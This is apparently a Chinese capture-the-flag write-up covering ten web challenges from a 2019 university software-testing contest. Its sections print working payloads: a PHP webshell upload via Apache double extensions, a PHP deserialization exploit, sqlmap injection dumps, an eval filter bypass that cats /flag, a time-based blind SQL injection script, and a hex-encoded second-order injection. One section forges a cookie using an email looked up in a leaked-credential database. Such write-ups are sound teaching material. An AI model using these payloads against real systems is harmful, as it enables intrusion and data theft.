2019 全国大学生软件测试大赛预选赛

Web1 比比手速

  • 文件上传 + HTTP Header

HTTP Header 里含有 password 提交正确后可进入 upload.php, 对上传文件的后缀(.php)进行了黑名单过滤,结合 Apache 容器上传 shell.php.xxxx 可正常解析。

/uploads/shell.php.xxxxxxx?cmd=system('ls+../');

获取到 flag{698539765730b69026796420b9201e03}.

Web2 baby

  • PHP 反序列化

获取到 index.php 源码:

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

容易构造出 pop chain 如下:

baby::__toString()
cool::read()
file_get_contents('flag.php')

需要满足的条件:

1.$this->nice->aaa === $this->nice->bbb,设置 nice = new baby(), baby->bbb = &baby->aaa 即可。

exp:

<?php
class baby {   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    public function __construct() {
        $this->skyobj = new cool();
        $this->bbb = &$this-> aaa;
    }
}  

class cool {    
    public $filename;     
    public $nice;
    public $amzing;
    public function __construct() {
        $this->filename = 'flag.php';
        $this->amzing = 'O:4:"baby":3:{s:9:" * skyobj";N;s:3:"aaa";N;s:3:"bbb";R:3;}';
    }
}
echo urlencode(serialize(new baby()));
?>

payload:

data=O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A59%3A%22O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22+%2A+skyobj%22%3BN%3Bs%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A3%3B%7D%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D

获取到 flag.php 源代码如下:

<?php
// $flag = 'flag{bd75a38e62ec0e450745a8eb8e667f5b}';
$sth='test5030b66d4bdtest35daed9d51e2688377299test';

Web3 easy

it seems that there are some interesting func in flag.php

观察路由为 index.php?func1func1=phpinfo 时发现执行了 phpinfo(),则 func1 可动态执行函数,利用 get_disable_functions 函数可返回所有已定义的函数数组。

获得所有内置函数和已定义函数的名称,并且发现函数 jam_source_ctf_flag 得到源码:

<?php
//include 'real_flag.php';
function jam_source_ctf_flag(){
    echo file_get_contents('flag.php');
}

class jam_flag{
        public $a;
    function __construct(){
        $this->a = isset($_GET['a'])?$_GET['a']:'123';
    }
    function gen_str($m=6){
        $str = '';
        $str_list = 'abcdefghijklmnopqrstuvwxyz';
        for($i=0;$i<$m;$i++){
            $str .= $str_list[rand(0,strlen($str_list)-1)];
        }
        return $str;
    }
    function GiveYouTheFlag(){
                include 'real_flag.php';
        $secret = $this->gen_str();
        //echo $secret;
        if($secret === $this->a){
            echo $real_flag;//echo $flag
        }
    }
    function __invoke(){
        echo 'want to use me?';
        $this->GiveYouTheFlag();
    }
}
echo rand().'<br>';
$_flag = new jam_flag;

if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){
        include 'real_flag.php';
    $_flag->GiveYouTheFlag();
}
?>

需要满足 isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'
$secret === $_GET['a'],这里可以爆破 6 位随机数 a,但是机率太小了。
这里还可以利用 get_defined_vars 函数:

此时利用思路如下:

POST I want the flag -> include 'real_flag.php' -> get_defined_vars -> $flag

获取到 flag{5a99aed1c516d643a297710de381bc70}.

Web4 注入初体验

这是一题关于 order 的注入,很简单的哦!同学们尝试下注入吧!

输入 id desc,出现降序排序,直接 sqlmap 即可一把梭哈。

sqlmap -r 'sqlmap_order_by' --dbs --level 3 --thread 9 
available databases [3]:
[*] information_schema
[*] shop
[*] test

sqlmap -r 'sqlmap_order_by' -D shop  --tables --level 3 --thread 9 
Database: shop
[2 tables]
+-------+
| flag  |
| goods |
+-------+

sqlmap -r 'sqlmap_order_by' -D shop  -T flag --columns --level 3 --thread 9 
Database: shop
Table: flag
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(35) |
+--------+-------------+

sqlmap -r 'sqlmap_order_by' -D shop  -T flag -C flag --dump  --level 3 --thread 9 
+---------------------------+
| flag                      |
+---------------------------+
| flag{666_0rdorby_you_can} |
+---------------------------+

Web5 Happy Hacking Keyboard

  • Python SSTI
  • Cookie forgery
  • Large Integer Overflow

Web6 easy_login

Easy Login...So Easy...

demo 账户登录后回显 Welcome,But u can’t do anything!,查看 Cookie 如下:

mycookie=ZGVtb0BkYmFwcHNlY3VyaXR5LmNvbS5jbg%3D%3D

Base64 解码后得到 [email protected],接下来则需要获取到 admin 的邮箱,F12 审查元素时获取到以下内容:

<meta name="author" content="nwup2008">

社工库检索 nwup2008 获取到 CSDN 泄露出的 邮箱 [email protected],base64 加密替换 Cookie 即可获取 flag{a327f27394c63ef5d6b1eed9591b90a4}.

Web7 签到题

靶机地址:101.71.29.5:10058

$ curl -I "http://101.71.29.5:10058"
HTTP/1.1 403 Forbidden
Date: Sat, 26 Oct 2019 19:33:47 GMT
Server: Apache/2.2.15 (CentOS)
Accept-Ranges: bytes
key: Flag{c456aa77cf2bc89affb665194e9dee57}
Content-Length: 5039
Connection: close
Content-Type: text/html; charset=UTF-8

Web8 bypass

  • Linux 通配符

  • PHP 短标签输出

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

PHP 默认配置中 short_open_tag = ON,<?=?> 相当于 <?php echo ...;?>.

  • Payload
?code=?><?=`/???/???%20/????`;?>

相当于

code=?><?=` /bin/cat /flag`;?>

获取到 flag{aa5237a5fc25af3fa07f1d724f7548d7}.

Web9 SleepCMS

  • robots.txt

  • get_lock()

在 robot.txt 中获取到:

INSERT INTO `article` (`id`, `title`, `view_times`,`content`) VALUES
(1, 'admin\' flag',0, 'xxxxxxxxxxxxxxxxxxxxxxx'),
(2, 'hello guest',0, 'hello guest,you want is not here~~'),
(3, 'some hint',0, 'long or short?\r\nsleep and injection!');

经过测试发现其检测 sleep、benchmark 函数,这里我们可以利用等价函数 get_lock() 来进行延时注入。

Payload:

id=1' and if(ascii(substr((content),1,1))>1,get_lock('test',3),1)%23

Exp:

#coding=utf8
import requests
import time
data = ''
url = "http://114.55.36.69:8007/article.php?id=1'"

for i in range(47):
    for c in range(32,127):
        url_req = url + " and if(ascii(substr((content),{0},1))={1},get_lock('test',3),1)%23".format(i+1,str(c))
        print(url_req)
        start_time = time.time()
        res = requests.get(url_req)
        end_time = time.time()
        if (end_time - start_time) > 2.5:
            data += chr(c)
            print(data)
            break;
print('data:',data)

获取到 flag{c221e22a28b933f103f0f88cab68b79b}.

Web10 这个网站没写完

  • 二次注入

  • Hex编码

  • require_once

下载源代码 web.zip 进行审计。

  • index.php
<?php
    require_once("common.php");
    require_once("config.php");
    if(isset($tem)){
        require("template/$tem.php");
    }else{
        require("template/index.php");
    }

    if(isset($_POST['username'])&&$_POST['password']){
        $sql_ = "select * from users where username='$username' and password='$password'";
        $db = new sql();
        $row = $db->getone($sql_);
        if(!empty($row)){
            session_start();
            $_SESSION['username'] = $username;
            header("Location: info.php");
            exit();
        }
    }

require("template/$tem.php"); 出存在任意文件包含漏洞。

  • common.php
<?php
	# common.php
    function waf($arr){
        foreach ($arr as $key => $value) {
            if(!is_array($value)){
                $arr[$key] = addslashes($value);
            }else{
                $arr[$key] = waf($arr[$key]);
            }
        }
        return $arr;
    }

    $_POST = waf($_POST);
    $_GET = waf($_GET);

    $role = 1;
    $table = "users";

    extract($_POST,EXTR_SKIP);
    extract($_GET,EXTR_SKIP);

waf 过滤了单双引号、反斜杠等特殊字符,无法正常注入。

  • edit_info.php
<?php
    extract($_GET);
    require_once("common.php");
    require_once("config.php");
    session_start();
    if(is_numeric($role)){
        var_dump($_SESSION);
        $username = $_SESSION['username'];
        $role = addslashes($role);
        $sql_ = "update users set role=$role where username='$username'";
        $db = new sql();
        $db->register($sql_);
    }
  • info.php
<?php
    require_once("common.php");
    require_once("config.php");
    session_start();
    $username = $_SESSION['username'];
    $sql_ = "select * from users where username='$username'";
    $db = new sql();
    $row = $db->getone($sql_);
    $username = $row['username'];
    $role = $row['role'];
    $sql_ = "select info from info where role='$role'";
    $row = $db->getone($sql_);
    $info = $row['info'];
    require("template/info.php");

edit_info 中存在 extract 变量覆盖,$role 可作为注入点,可利用 16 进制编码绕过 is_numeric 检测从而构造任意 Payload。require_once("common.php"); 中 common.php 中的 $role 会再次覆盖掉 $role 的值,require_once 同样的文件只会包含一次,此时可利用已经包含 common.php 的 index.php 中的 require("template/$tem.php"); 来引入 edit_info 从而解决 $role 被覆盖的问题。

思路如下:

# edit_info.php
set role =  '/**/union/**/select/**/flag/**/as/**/info/**/from/**/f1ag_233#  '
# info.php
2. select info from info where role=''/**/union/**/select/**/flag/**/as/**/info/**/from/**/f1ag_233#

Payload:

index.php?tem=../edit_info.php&role=0x272f2a2a2f756e696f6e2f2a2a2f73656c6563742f2a2a2f666c61672f2a2a2f61732f2a2a2f696e666f2f2a2a2f66726f6d2f2a2a2f663161675f32333323

获得 flag{981369acba32abc4e28103fedd4891d2}.